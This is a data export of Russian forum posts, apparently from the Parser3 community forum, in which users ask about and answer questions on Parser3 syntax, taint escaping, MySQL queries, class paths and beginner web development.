"43671","а специальные символы кладутся в таблицу замены в виде ^taint[^#код символа]"
"43673","Статьи по taint, untaint  я читал не по одному разу, но только не все вещи до сих пор остались до конца понятными.\
\
Спасибо за помощь."
"43674","если нет, конкретно какая вещь неясна?\
\
вроде бы простая штука: разноцветные буквы :)"
"43675","Если правильно понял Ваше сообщение:\
[code]\
Insert > Image Ogjects > Rollover Image\
[/code]"
"43676","В принципе у меня пока еще id выдается auto_increment-ом, а сортировка производится по дополнительному полю sort.\
\
2do: Объеденить id и sort"
"43677","Объединить id и sort ?\
\
ИМХО, только в случае с одиним разрядом на одну ветвь это возможно."
"43679","^connect[$connect_string]{ \
   $static[^table::sql{select Sum(input) SumInput, Sum(output) SumOutput from traffic where lan = 'ppp0'}] \
   ^if($static){ \
       \
      <TABLE ALIGN=CENTER BORDER=3 CELLSPASING=0 CELLPADDING=0>\
      <tr><TD><CENTER><b>Input <TD><CENTER><b>Output\
      <tr><TD>$static.SumInput <TD  ALIGN=RIGHT>$static.SumOutput\
      </TABLE>\
      </HTML>\
\
рекомендую разобрать сделанные мной изменения, чтобы в будующем подобных вопросов не возникало."
"43682","http://dev.mysql.com/doc/mysql/ru/select.html\
[quot]\
Ссылку на таблицу можно заменить псевдонимом, используя tbl_name [AS] alias_name:\
[/quot]\
\
AS в квадратных скобочках означает необязательность (для столбцов аналогично), однако лично я предпочитаю видеть AS в запросах (и сам пишу всегда)"
"43685","Странно что он так обрабатывает, но работает."
"43686","Теги как раз и закрыты, просто в приведенный кусок кода не все попало"
"43688","AS предпочитает там видеть не только Миша, но и стандарт ANSI92."
"43689","да и писал я это to Сережа V12 чтобы подколоть его, ибо он анонсировал свой код как ваш код в котором поправлены \"ошибки\".\
\
тем не менее если \"<tr><TD><CENTER><b>Input <TD>\" - это пример кода с закрытыми тегами - то я японский лётчик."
"43690","Sum(input) SumInput\
я немного логику не улавливаю, похоже что парсер после выполнения Sum(input) результат записывает в новую переменную SumInput или это работает както иначе?"
"43691","вы гаданием занимаетесь, или SQL запрос пишете?\
нажмите Alt+Tab и посмотрите в окно, где у вас [b]открыта[/b] документация по [b]вашему[/b] SQL серверу, там что написано?"
"43694","Какая программа позволяет читать документацию по Parser с расширением .chm?"
"43695","А интерпритатор Parser - можно ли быть уверенным, что на твоём хостинге он есть?"
"43698","да у меня одиночный установлен и не спасает, пишут, что невозможно прочитать"
"43699","Тогда можно предположить, что вся работа - псу под хвост? А на каких хостингах есть?"
"43700","...и почитать документацию.\
\
по факту получается что парсер работает на 99% хостингах, где есть своя cgi-bin директория и разрешено выполнение cgi скриптов.\
\
в разделе downloadвыкладываются уже скомпилированные версии для наиболее распространенных и имеющихся у нас систем.\
\
в разделе прислали пользователи можно найти версии для более экзотичных систем или для систем, отсутствующих у нас.\
\
на крайний случай есть исходники, они позволяют при должном умении скомпилировать парсер на вашей системе.\
\
список хостингов, на которых точно парсер работает и о которых сообщили _пользователи_ этих хостингов можно найти в соответствующем разделе."
"43701","могу предположить только это:\
http://www.yandex.ru/yandsearch?rpt=rad&text=windows+%ED%E5+%EE%F2%EA%F0%FB%E2%E0%E5%F2+chm\
\
или скачать PDF версию."
"43702","Да ладно, я распечатал на работе документцию в Денвере. Вот странно одно. На работе Денвер под 98-м документацию по Parser показывает, а дома под XP - нет"
"43703","Скачал, установил, не пролезло. Говорят, надо Винду поверх снова поставить. Из-за одного вида файлов? Ужас!"
"43704","...оператор ^taint[] без указания вида преобразования никакого смысла не несет, а использование его с optimized даст результат только на выходе причем\
если сделать так:\
[code]\
$t[^taint[optimized-as-is][текст]]\
$t[^taint[sql][$t]]\
[/code]\
то первое преобразование потеряет силу?"
"43705","С этими претензиями Вам к Биллу!"
"43706","[quot]\
...PHP любят за его простоту...\
[/quot]\
\
http://points.net.ru/lofiversion/index.php/t98.html"
"43707","без указания преобразования -- смысл есть.\
пример:\
[code]\
^void:sql{insert into news (text) values ('^taint[I'd like this work]'}\
[/code]\
\
результат только на выходе, да.\
\
taint(taint) вложенный перекрашивается = бессмысленен, да."
"43708","В общето пытаюсь запросы писать.\
При чем мускул их нормально съедает, а как только точно такой же запрос в парсер обрабатывает, то бывает ошибка. \
Unhandled Exception\
The server encountered an unhandled exception and was unable to complete your request.\
\
Может тогда подскажите как вот такой запрос правильно в парсере реализовать?\
select substring_index(date,' ',1),lan,sum(input)/1024 as inp,sum(output)/1024 as out from traffic where lan like('%ppp0%') and date like('%2005-08%') group by substring_index(date,' ',1) order by 1 asc;"
"43709","Извените, вопрос сам решился, немного поспешил его задать."
"43710","Есть таблица плоского форума со следующими столбцами: id, parent_id, date, author.\
\
Задача: вывести список тем, отсортированных по дате последнего ответа, указав дату и автора последнего ответа.\
\
Делал так:\
\
1. Получаем отсортированный список тем[code]$subjs[^table::sql{SELECT\
	root.id,\
	IFNULL(MAX(child.id),root.id) AS last_id,\
	root.date,\
	root.author\
FROM forum AS root\
LEFT JOIN forum AS child ON root.id=child.parent\
WHERE root.parent=0\
ORDER BY last_id DESC}[$.limit($scroller.limit)$.offset($scroller.offset)]][/code]\
\
2. Получаем хеш с датами и авторами дочерних сообщений[code]$answers[^hash::sql{SELECT\
	id,\
	date,\
	author\
FROM forum\
WHERE parent!=0\
<... то, чего не хватает ...>\
}][/code]\
\
3. Потом используем так:[code]$answers.[$subjs.last_id].author[/code]\
\
\
[code]<... то, чего не хватает ...>[/code]\
Как я понимаю, здесь должно быть некое сочетание GROUP BY, ORDER BY и лимитов, которое выберет ответы, являющиеся последними для своего родителя. Но увы все, что я придумал написать, «возвращает все что угодно».\
\
А может быть вообще по-другому надо? Подскажите, я сдаюсь :-)"
"43711","Вот недавно попробовал сделать сайт на PHP.\
Вот что я понял:\
Сделать большой сайт на PHP сложнее чем на Parser3, потому что не имея собственной библиотеки (как в студиях) код получается слишком громостким. Главная заслуга разработчиков Parser3 в том, что на нем можно быстро написать сайт с нуля, не делая дополнительно никаких библиотек для работы с бд и т.д."
"43713","не имея опыта, наработок, хороших идей, сделать большой сайт на PHP также сложно как и на Parser'е и наоборот."
"43714","Тут даже дело не синтаксисе, а плохом ООП. Код получается настолько грамосткий что разобраться во всем потом будет трудно. А по функциональности и тот и тот  практически равны. Хотя, не спорю, если разработать свой класс, где будет работа с бд и еще несколько вещей, то и на пхп будет получаться не плохо."
"43715","Да всё, получилось нормально, спасибо Mishe, дай ему Бог здоровья!"
"43716","ответ на ваш вопрос:\
[code]\
<... то, чего не хватает ...> = AND id IN (^if($subjs){^subjs.menu{$subjs.last_id}[,]}{0})\
[/code]\
\
но я так не делаю никогда.\
\
- MAX(child.id). когда вам нужно доставать что-то последнее забудьте об ID! даты и ни как иначе! но выбирать сложнее :)\
\
- у вас табличка называется forum. а что лежит в таблице? ну точно не форумы. сообщения! message или forum_message_message, но не forum."
"43717","Допустим я получил из БД таблицу с именами. Пример:\
[code]$users[^table::sql{ select id, login, name from forum_users}]}[/code]\
Как мне сделать, чтобы все имена из колонки name этой таблицы стали в верхнем регистре?"
"43720","[code]$users[^table::sql{ select id, login, UPPER(name) from forum_users}]}[/code]"
"43721","Это из вашего предыдущего сообщения:[quot]лучше 3 простых запроса, чем один с тремя left_join-ами.[/quot]\
\
IN я даже не рассматривал — не нравится :-\\\
\
[quot]но я так не делаю никогда.[/quot]\
А как вы делаете? :-) С датами говорите, но появление двух сообщений в одну и ту же секунду это ведь не самое невероятное событие. Или суть вообще в другом?\
\
Да, конечно, messages. Снова я вас заблуждаю... :-)"
"43722","Не оказывайте медвежью услугу."
"43723","[quot]\
IN я даже не рассматривал — не нравится :-\\\
[/quot]\
\
тем не менее это самый быстрый вариант. при этом с моей точки зрения абсолютно нормальный, т.к. делается форум, и сообщений на странцу выводится ограниченое число (у оракла есть огрничение на 1000 элементов в IN, и даже оно тут не помешает).\
\
[quot]\
появление двух сообщений в одну и ту же секунду это ведь не самое невероятное событие. Или суть вообще в другом?\
[/quot]\
\
суть в другом: идентификатору приделывается левый, чуждый ему функционал. у сообщения есть дата, по ней и должно быть упорядочивание."
"43725","Таким образом вполне нормально для данного случая:\
\
1. Получаем отсортированный список тем \
\
[code]$subjs[^table::sql{SELECT\
	root.id,\
	IFNULL(MAX(child.id),root.id) AS last_id,\
	[b]IFNULL(MAX(child.date),root.date) AS last_date[/b],\
	root.date,\
	root.author\
FROM forum AS root\
LEFT JOIN forum AS child ON root.id=child.parent\
WHERE root.parent=0\
[b]GROUP BY id[/b] ^rem{забыл}\
ORDER BY [b]last_date[/b] DESC}[$.limit($scroller.limit)$.offset($scroller.offset)]][/code]\
2. Получаем хеш с датами и авторами дочерних сообщений \
\
[code]$answers[^hash::sql{SELECT\
	id,\
	date,\
	author\
FROM forum\
WHERE\
	parent!=0 AND\
	id IN (^if($subjs){^subjs.menu{$subjs.last_id}[,]}{0})\
}][/code]\
\
3. Потом используем так: [code]$answers.[$subjs.last_id].author[/code]\
\
?\
\
P. S. А есть какие-то основания не использовать && вместо AND? ANSI-92??"
"43727","Пробую...\
[code]\
@test[]\
^connect[mysql://sorochin_parser:sorochin_parser@localhost/sorochin_parser]{\
$users[^table::sql{ select id, login, UPPER(name) from forum_users}]}\
^users.menu{\
$users.id - $users.name\
}\
[/code]\
\
Пишет, что колонки name не найдено..."
"43730","У меня в операторе ветвления нужно чтобы дата из БД была РАВНА сегодняшней дате. Однако \"сегодняшняя дата\", к примеру, 2005-8-24, а дата из БД - 2005-08-24. При сравнении строк они не равны..."
"43731","А вообще специально для таких ситуаций придумали ^date.sql-string[]."
"43732","попробуйте в запросе sql написать\
\
DATE_FORMAT(dt, '%y-%c-%e'), в этом случае месяцы и дни будут выводиться без открывающих нулей. Код будет компактнее и более читаем, чем в случае с ^date.day.format{%02d}\
\
Себе же я написал специальный класс DateTime, который умеет сравнивать 8 и 08 (в числе прочего). Типа этого:\
\
[code]\
$d[^DateTime::Now[]]\
^data.menu{\
	...\
	^if( ^d.CompareWith[$date.dt] ){\
		...\
	}\
	...\
}\
[/code]\
\
Или же вообще использовать статический метод:\
\
[code]^DateTime:Compare[2005-8-3;2005-08-03][/code]"
"43736","Допустим в БД у меня хранится такой текст: \"<br /><br />Привет!\". Затем я выдираю этот текст из базы и сую в textarea для редактирования. Можно ли сделать так, чтобы <br /> в textarea преобразовывался в перевод каретки?"
"43741","Очень странно отображается файл помощи chm Страницы в заголовке которых используются слова delete find save send и тд просто не отображаются. Тоесть заместо стрпницы с заголовком \"find. Поиск файла на диске\" я вижу пустой экран. Если с помощью HTML Help Workshop разобрать chm файл удалить <title>****</title> и снова собрать файл отражается нормально. Не знаете почему ?"
"43743","вопрос уже обсуждался не раз."
"43744","нужно почистить кеш в Internet Explorer'e, иногда помогает..."
"43745","нет не помогает"
"43746","Продолжаю работать над усовершенствованием своего сайта и тут сталкнулся с интересным на мой взгляд вопросом.\
Обрисую ситуацию:\
Имеем некую таблицу персонажей - 'char'\
В ней меня интересуют 6 значений:\
`name`  \
`class`      (подмена цифр в текст)\
'base_level` \
`job_level`  \
`guild_id`   (подмена цифр в текст)\
`online`     (подмена цифр в текст) \
Думаю структура понятна. \
А вопрос заключается в следующем, возможно ли при выводе таблицы на экран подмена цифрового значения таблицы соответствующему текстовому значению?        \
Очень приветствуются (если возможно) ссылки на примеры такого преобразования. Или самый простой пример.\
ПС: Заранее всем спасибо!"
"43749","А в голове разработчика. Даже с хорошим ООП и с плохой башкой, дров можно наломать больше чем без него.\
\
ООП как раз затрудняет локальную понятность кода, сопровождение и отладку. Это мощное оружие которым большинство простреливает себе ногу.\
\
PS: fun - В слове громоздкий, сделано 2 ошибки :)"
"43750","Обновил классы mysql.p и sql.p - стала появляться ошибка: no $MAIN:CLASS_PATH were specified.\
Изучил всё по данному вопрсоу на форуме и в faq, но не смог исправить. \
Для примера создал пустой сайт вот с такой структурой\
\
[code]\
|/site/\
|---htdocs/\
|-----|htaccess\
|-----|index.html\
|-----|auto.p - практически пустой, никаких @USE, ^use[] и т.д.\
|---cgi-bin/\
|-----|auto.p\
|-----|parser3.exe + библиотеки\
|-----classes/\
|-------|sql.p\
|-------|mysql.p\
[/code]\
\
В auto.p в каталоге cgi-bin прописано помимо всего прочего\
\
@USE\
mysql.p\
\
\
@auto[]\
\
....\
\
$CLASS_PATH[^table::create{path\
/\
/classes\
/../classes}]\
\
Вообще-то пробовал самые различные комбинации папок для $CLASS_PATH - ничего не подходит\
Помогите пожалуйста побороть ошибку"
"43751","|/site/\
|---htdocs/\
|-----|htaccess\
|-----|index.html\
|-----|auto.p - практически пустой, никаких @USE, ^use[] и т.д.\
|-----classes/\
|-------|sql.p\
|-------|mysql.p\
|---cgi-bin/\
|-----|auto.p\
|-----|parser3.exe + библиотеки"
"43752","Да вроде говорят, что эту папку лучше держать вне вебпространства"
"43756","Пишу, пишу, а оно раз - и исчезло"
"43757","в mysql.p нет ссылки на sql.p? Если есть, то в каком виде?"
"43759","уберите из конфигурационного auto.p @USE. если очень хочется делать там @USE (мы не рекомендуем этого) - делаете это в виде ^use[] ПОСЛЕ строк, в которых вы определяете $CLASS_PATH."
"43760","Можно-ли открывать только одну сессию к MySQL для всех методов класса?\
т.е. не писать в каждом методе [code]^connect[...][/code]\
Очень нужно, по тому что столкнулся с проблемой Too many connections,\
когда на сайте много поситителей и от каждого идет от 1 до 4х запросов."
"43761","http://www.parser.ru/docs/lang/statusrusage.htm"
"43762","Спасибо за помощь, хотя дело было совсем не в этом\
Просто я писал\
$MAIN:pSQL[^mysql::init[$SQL.connect-string;^if(^env:QUERY_STRING.pos[debug] >= 0){debug}]]\
\
не в корневом auto.p, а в том, который в cgi-bin."
"43763","Я теперь понимаю что значит \"Неопределенно грязный\". Т.е. то во что \"пачкать\" парсер определяет на выходе.\
\
Или нет...\
\
А так все понятно.\
\
Неплохо бы если бы был создан метод класса string с очисткой текста от мусора (пробел, табуляция, перевод строки) работающий как otimized-as-is.\
\
Успехов в версии 3.2"
"43764","Здрасте уважаемые!\
Я только начинаю позновать просторы PHP, я самоучка.\
Помогите мне как делать сайты на PHP.\
Я делаю сайты в программе Фронт Пйдж это в html вот моё как я щитаю лутьшее творение www.naumV.narod.ru\
Я довно знал что есть такое рашширение как *.php  а незнаю в какой прграмме эти странички делать и как их размещять в интернете на бесплатных доменах, поймёт ли пхп сайт народа.ру\
\
Скажите пожалуста\
1) Какой прграммой создавать интернет странички PHP\
2) Как их просматривать с помощью чего.\
3) Как настраивать сервер что качять и где качять.\
\
ПОЖАЛУСТА РАЗЯСНИТЕ МНЕ!!! ОЧЕНЬ ПРОШУ!!! Я этим вопросом давно болею! ОЧЕНЬ БОЛЕЮ!\
Поставте меня на путь истеный уважаемые дизайнеры програмисты."
"43765","то займитесь изучением Парсера. Этот сайт про него.\
\
Для начала почитайте:\
http://www.parser.ru/faq/\
\
Если вы прочли и не захотели изучать Парсер, то с помощью Яндекса и Google найдете очень много информации про PHP."
"43766","А что скачквать?  \
В Джентльменский набор Web-разработчика (Денвер)   там 3 файла какой качять?\
\
 Base_Parser_2005-01-05_a1.3.31_p4.3.9_m3.23.53_pma2.6.0_p..>  3.7M  \
 Base_Parser_2005-01-26_a1.3.31_p4.3.10_m4.1.8_pma2.6.1_p3..>  4.1M  \
 Base_Parser_2005-07-19_a1.3.31_p4.4.0_m4.1.8_pma2.6.1_p31..>  4.1M  \
\
\
И какой пого создавать странички?"
"43768","Может быть и не Денвер, а Apache Swissknife вам лучше подойдет.\
\
Также сразу скачайте документацию по Парсеру, чтобы вопросов, типа «где создавать странички», не возникало (в текстовом редакторе) и выполните уроки из нее.\
\
И обязательно прочитайте «[url=\"http://www.parser.ru/faq/forum/\"]Как правильно задавать вопросы[/url]»."
"43769","А какая разница между этими файлами? Вурсией? та новая и типа старая?\
\
\
В каких прогпаммах создания страниц есть  следующие связки технологий: HTML, CSS, \
PHP, MySQL, JavaScript либо HTML, CSS, ASP, MS SQL, JavaScript. Ну если ещё есть  VRML, Flash  ваще будет супер в одной проге?"
"43770","Начните с чего-нибудь одного :)\
\
А вообще есть Macromedia Dreamweaver и Macromedia HomeSite.\
\
Удачи вам в ваших начинаниях!"
"43771","Macromedia  ОДНИМ СЛОВОМ КРИВОЙ.\
Фронт пейдж знаете?  ВОТ ОН ЭТО ЗВЕРЬ!!! Всё делает (Гы чё я знаю) а вот этот PHP что то совсем никак? А асатримент что было всё в одном флаконе.\
\
Ели есть время стукните мне в асю 323613640"
"43772","1. Почему это Macromedia кривой?\
\
2. Впрочем если FrontPage зверь, то Macromedia вообще нервно курит за углом...\
\
3. На счет php... Ничего не скажу. Уже слишком много всего сказано было.\
\
4. Главное — не чтобы все было сразу, а чтобы все было к месту.\
\
5. Напрмер зачем вам совмещать PHP, ASP и Parser?.. Приведет к путаннице. Лучше изучите сначала HTML, затем CSS, затем Parser, (где-то в промежутке может быть JavaScript), MySQL... Начинайте с малого. Иначе ничего хорошего не выйдет ;)"
"43773","не будут пропадать.\
здесь форум по parser, а не по denver/mysql/oracle."
"43774","Как записать следующее:\
\
[code]$tbl_img[^table::load[Img.tsv]]\
$hash_img[^tbl_img.hash[ID]][/code]\
\
в одну строку, без использования переменной tbl_img ?\
Спасибо."
"43775","вы почти идеально сформулировали:\
уточняю: \"совсем на выходе\" происходят фактические замены.\
а во что именно перекрашивать определяют ^untaint[во что]{строка}.\
\
а \"прямо перед выходом\" имеются неявные untaint под каждый выход свои.\
\
в методах sql стоит неявный\
[code]\
#когда пишем это\
^void:sql{запрос}\
#реально выполняется это\
^void:sql{^untaint[sql]{запрос}}\
[/code]\
\
ну и\
[code]\
#пишем это\
@main[]\
наш код\
\
#реально выполняется это\
@main[]\
^untaint[optimized-html]{^main_inner[]}\
\
@main_inner[]\
наш код\
[/code]"
"43776","по-моему, такое же страшное зло, как и явные перекодирования строк из одной кодировки в другую.\
\
как мы все любим разнообразные кодировки — нет слов.\
\
поэтому когда покажете конкретный пример, когда нужно, можно будет обсудить."
"43778","возможно, со временем, можно будет."
"43779","Прочитал всю ветку, кроме не лесных слов ничего не понял.\
У меня все как раз все значения разнесены в разные таблицы.\
Переформулирую свой вопрос так:\
Как правильно организовать запрос?\
   \
Таблица Char (id)| Таблица Class|  Таблица Guild|\
\
class_id-id класса| class_name-Название класса |------|									\
\
guild_id-id гильдии| -----------------------| guild_name-Название гильдии|\
	\
Вот теперь думаю станет понятнее, нужно сделать такой запрос? что бы в конечном варианте получилось:\
       вместо                    получить\
 поле         значение       поле         значение\
`class`         1           `class`        hunter\
'base_level`    50          'base_level`   50\
`job_level`     40          `job_level`    40\
`guild_id`      2           `guild_id`     myguild\
`online`        1           `online`       online\
Если такой сложный запрос нельзя организовать. Может можно средствами парсера организовать проверку:\
если class_id = 1\
 тогда  class_id = hunter;\
если class_id = 2\
 тогда  class_id = merchant;\
и.т.д по всем требуемым полям, конечно так я думаю глупо. \
\
PS:Еще раз всем спасибо."
"43780","Спасибо за оперативный ответ. Минут 15 экспериментировал и подумал было что у меня что-то с головой."
"43782","> Прочитал всю ветку, кроме не лесных слов ничего не понял\
:) Я так и предполагал.\
\
Ладно, обрисую в общем Вашу проблему.\
Насколько я понял, у Вас задача такая:\
Есть несколько таблиц, они связанны между собой, Вам нужно поставить в соответствии с id нужное значение.\
Делается это весьма просто. Например:\
Есть какая-то таблица, в которой хранятся Ваши значения в цифрах, Вы достаете оттуда это значение (id) и делаете sql запрос на выборку нужного Вам строкового значения с запросом WHERE id='$yourtable.id'\
\
Сложного тут ничего нет. Если Вы выводите массив данных (таблицу), то следует включать такой запрос внутрь цикла.\
\
А вот теперь насчет сложности запроса:\
если у Вам потребуется достать значения сразу из нескольких таблиц, то запрос будет сложнее.\
\
> кроме не лесных слов ничего не понял\
В этом и состоит идея того подхода, что все расшифровывающиеся значения хранятся в одной таблице. Хотя, так делать не надо (а то меня за агитацию.....)."
"43783","Может быть, возможно сделать хэш из таблицы, загружаемой из файла, минуя переменную, которой присваивается таблица из файла?"
"43785","До недавнего времени я работал только с парсер, пока не столкнулся с такой проблемой как усрйство на работу, в любой крупной студии требуют знание ПХП и работают только на ПХП. Это как мне кажется главный недостаток Парсера который мне так нравится за его быстродействие и удобство.\
\
Я бы в Студию пошел, кто меня научит..."
"43786","Вы какраз таки и поняли, как никто другой.\
Спасибо за предложение. Попробую реализовать.\
На данном этапе только начал изучение SQL."
"43788","Предлагаю добавить функцию для зарегистрированных пользователей - \"версия для печати\". Лично я часто печатаю страницы форума, правда перед этим вставляю в Word. На бумаге очень удобно изучать.\
Кто и что думает по этому предложению?"
"43791","Я за, но вовсе не потому что хочу печатать форум, просто иногда надоедает тыкать по ссылкам, читая тред."
"43792","да.. есть такое дело"
"43794","вы допишете, что делаете, а потом решите, нужна ли вам была исходная переменная с таблицей."
"43795","они имеют взаимосвязи, Outlook Express и Bat умеют строить красивые деревья.\
\
и печатать тоже."
"43796","Вы правы, я немного ввел в заблуждение участников форума, создав впечателение что сам не определился чего хочу, но на самом деле совершенно однозначно мне в конечном итоге нужен хэш, значения которого находятся в файле tab-delimeted."
"43798","никакого заблуждения нигде нет.\
по нашему опыту обычно исходная таблица нужна, чтобы где-нибудь вывести элементы в нужном порядке (помните, что hash порядок не хранит)."
"43801","В данном случае [i](а таких случаев несколько в рамках одного проекта, и, думаю, буду применять это в дальнейшем, поэтому я поднял этот вопрос)[/i] нигде, даже в принципе, не может понадобиться выводить элементы в нужном порядке и сортировать их. Оно-то вроде бы и ничего, все работает, но использоваение лишней переменной..."
"43802","Да, да это было бы очень удобно"
"43804","Скажите, если я спрашиваю, в какой каталог помещать скрипт на Parser при работе в Денвере, я спрашиваю скорее о Parser или скорее о Денвере? И ещё - вчера не мог зайти на сайт - 404 и спрашивают, не заблудился ли я?"
"43805","Стоит авторизация через mod_auth_mysql. Окно аутентификации выпрыгивает дважды. Внутри и редиректы есть, и с завершающим слешем адреса, и без слеша. Пробовал добавлять к имени входной папки слеш, тогда второе окно выскакивает при переходе по внутренним ссылкам, а не сразу.\
\
А юзеров не прет по два раза логиниться (странные люди).\
\
К конфигурационным файлам apache доступа нет.\
\
Есть варианты решения этой проблемы помимо класса auth.p? Дайте пару хинтов, будьте добры. :)\
\
У меня мысль только одна - предполагаю, что можно рисовать свою страницу логина, а потом передавать переменные апачу. Это реально?"
"43806",".htaccess можно парсить?"
"43807","Существует ли возможность подключить к парсеру библиотеку GD (возможно, в виде отдельной DLL либо компиляция вместе с парсером) и появится ли библиотека в официальной сборке парсера когда-нибудь?"
"43808","[quot]ООП как раз затрудняет локальную понятность кода, сопровождение и отладку. Это мощное оружие которым большинство простреливает себе ногу.[/quot]\
\
откуда такая уверенность? у нас как-то всё наоборот.\
\
просто мало иметь инструмент, надо ещё знать как его можно правильно использовать."
"43809","> просто мало иметь инструмент, надо ещё знать как его можно правильно использовать.'\
\
Я вот как раз про это - мало кто умеет использовать"
"43810","для каждой задачи свои цели.\
встроена старая версия GD с простым прожиточным минимумом.\
если встроить всё, а кто-то в жизни ни разу не вызовет ^image.line, то будет глупо.\
\
вывод: использовать внешние скрипты через ^file::exec"
"43811","Большое спасибо. В принципе, я согласен, хотя, скорее всего создам собственную сборку с библиотекой (т.к. часто приходится её использовать). В любом случае спасибо!"
"43812","Я недавно начал работу с парсером и заметил своеобраный недостаток.\
Он заключается в том, что кодструкция\
[code]^for[count](0;10){ … }[/code]\
работает прекрасно, а конструкция\
[code]^for[count](0;10) { … }[/code]\
выдаёт Unhandled Exception. А различие всего лишь в том, что после [b];10)[/b] стоит пробел. То же и в ^if и других конструкциях\
\
Возможно ли от этой ошибки как-то избавиться или нужно всегда придерживаться первого варианта?"
"43813","http://www.parser.ru/forum/?id=1317\
http://www.parser.ru/forum/?id=1331"
"43814","Всё ясно. Спасибо! А тему лучше убить..."
"43815","[code]@addvar[var;value]\
$repl.${var}[$value][/code]\
результат: [quot]parse error, expecting `STRING'[/quot]\
При попытке изменить на\
[code]@addvar[var;value]\
$repl.$var[$value][/code]\
получаем [quot]invalid number (double)[/quot]\
\
чего я сделал не так?"
"43816","а если так:\
[code]\
@addvar[var;value]\
$repl.[$var][$value]\
[/code]\
?\
\
если не работает, приведите пример вызова, и пример инициализации переменной $repl. (хотя второй ваш вариант должен работать, как инициализируете $repl?)"
"43818","Я загружаю с сервера файл\
\
[code]\
$html_code[^file::load[text;http://мой_любимый.сайт]]\
[/code]\
\
Далее я очищаю его от тегов чтобы получить голый текст для проведения поиска. Вот тут то (после осчистки) мне и помог бы такой метод\
\
[code]\
$totally_clear_text[^clear_text.метод_очистки_от_мусора[может быть параметр, если создатель придумает]]\
[/code]\
\
Это, собственно, то из-за чего и завязалась данная дискуссия."
"43819","Это часть класса.\
Код такой: (упрощённый вариант)\
[code]@CLASS\
clsname\
\
@load[]\
$repl[^hash::create[]]\
\
@addvar[var;value]\
$repl.[$var][$value][/code]\
\
К несчастью, тоже не работает. Теперь [quot]invalid number (double)[/quot]Причём, судя по сообщению, ошибка вот тут: $repl.[$[i][b]v[/b][/i]ar][$value]"
"43821","[code]$object[^classname::load[]]\
^object.addvar(string;string)[/code]\
Угадал? :-)\
\
В круглых скобках в Парсере передаются только числа. О чем вам в тексте ошибки и сказали. Используйте квадратные скобки для строк."
"43822","[code]\
$repl.$var[$value]\
[/code]\
\
[] скобки нужны только если выражение сложнее чем\
[code]\
.$name\
[/code]\
или\
[code]\
.fixed$name\
[/code]"
"43823","это regexp. при чём тут tainting?"
"43824","я знаю об этом, именно поэтому в скобках в конце своего сообщения я написал там, что \"второй вариант рабочий\". я предполагал, что вопрошающий может не обратить внимания на такие ньюансы и в своем живом коде иметь не $repl.$var[$value], а $repl.$var.field[$value] считая что это то-же самое (типа никаких скобок нет). поэтому я и предложил скобки.\
\
хотя сам я обычно скобки ставлю (если обращаюсь к полю, которое берется из переменной) т.е. пишу так: \
[code]\
@addvar[var;value]\
$repl.[$var][$value]\
[/code]\
\
почему? потому что у меня достаточно часто при написании кода происходит изменение этих конструкций, и подобный код может запросто превратиться в такой:\
[code]\
@addvar[params]\
$repl.[$params.var][$params.value]\
[/code]\
\
кроме этого лично для меня читаемость подобных конструкций (когда поля-переменные в скобках) улучшается, но это конечно-же очень субъективно.\
\
P.S. да спал я, спал :)"
"43825","и работает медленнее, поскольку создаётся лишняя обёртка под результат выполнения кода, лишний вызов на его выполнение, лишнее перекладывание строки с места на место.\
\
возможно, со временем оптимизирую, как оптимизировал ^int.inc(1) ;)\
\
2all: пока не берите в CVS ветки будущих версий, там идёт подготовка и уже выявлены явные ошибки."
"43826","хотя в реалиях у меня таких ( .[$var] )конструкций не много.\
\
P.S. .inc(1) оптимизирован?! COOL!"
"43827","которая использует PHP. Наверное я далек от жизни :)\
\
А вообще, конечно, вопрос нераспространенности парсера есть, но проблемы, возникающие из данного вопроса, imho надуманы: настоящему индейцу пофиг на чем писать -- в большинство продуктов можно въехать за пару месяцев до вполне приемлемого уровня.\
\
Если не въехал, значит квалификация не та. Если \"крупная контора\" во главу проблемы ставит знание PHP, то пошли их в сад."
"43828","Полдня пытаюсь собрать конструкцию, которая будет в строке из формы (числовое значение) менять запятые на точки. Вроде элементарно, а не выходит. :((\
\
Вызывается так:\
\
[code]\
^choosewcoef[^eval(^checknumber[$form:weight]+^checknumber[$form:uweight])]\
^choosescoef[^eval(^checknumber[$form:size]+^checknumber[$form:usize])]\
[/code]\
\
Метод:\
\
[code]\
@checknumber[i]\
$str[$i]\
$rep[^table::create{from	to\
,	.}]\
^str.replace[$rep]\
$result[$str]\
[/code]\
\
или\
\
[code]\
@checknumber[i]\
$str[$i]\
$rep[^table::create{from	to\
,	.}]\
^str.replace[$rep]\
$result[^str.double[]]\
[/code]\
\
или\
\
[code]\
@checknumber[i]\
$rep[^table::create{from	to\
,	.}]\
^i.replace[$rep]\
$result[^i.double[]]\
[/code]\
\
\
или\
\
[code]\
@checknumber[i]\
$rep[^table::create{from	to\
,	.}]\
^i.replace[$rep]\
$result[$i]\
[/code]\
\
Результат неизменно invalid number (double).\
Где я ступил? :("
"43830","Здорова, народ. У меня такой вопрос: подскажите пожалуйста, как в пхп передавать переменные между страницами без кукисов."
"43832","1. В PHP есть сессии. Почитайте.\
2. query_string: ?var=value\
\
Все. Остальное в соответствующем форуме."
"43833","double — число с одной (!) точкой (!), а с запятыми это получается не double, a string."
"43835","[quot]...запятые на точки...[/quot]\
Значит их много.\
\
[quot]...invalid number (double)...[/quot]\
Число-то получается неверное.\
\
[code]\
# круглые скобки:\
$result(...)\
[/code]\
\
Вот так вроде должно работать:\
[code]\
@checknumber[i][rep]\
$rep[^table::create{from	to\
,	.}]\
$result(^i.replace[$rep])\
[/code]\
\
А вообще попробуйте записать получившуюся строку и посмотреть что там есть на самом деле:\
\
[code]\
@checknumber[i][rep]\
$rep[^table::create{from	to\
,	.}]\
$result(^i.replace[$rep])\
^result.save[checksum.txt]\
[/code]"
"43836","[code]\
@checknumber[i]\
$rep[^table::create{from	to\
,	.}]\
$i[^i.replace[$rep]]\
$result[^i.double[]]\
[/code]"
"43837","Полностью сообщение выглядит так:\
\
1,2\
\
invalid number (double)\
\
E:/web/xampp/htdocs/../classes/dl_calculators.p(146:48)\
\
В последней строке указание на строку вызова метода.\
Т.е. мой метод не срабатывает, не меняет то, что пришло из формы.\
\
Ага, вся фишка в том, что я никуда ^i.replace[] не передавал. :)"
"43839","называйте функции адекватно."
"43844","На денверовском форуме слишкоми сложно, такое впечатление, что они не могут найти все новые сообщения. \
Значит, так и умру дураком без парсера.\
Уважаемые технологи!\
Ведь находите же Вы время отвечать \"Молодым дизайнерам\". А чем я хуже? Что - на колени встать?"
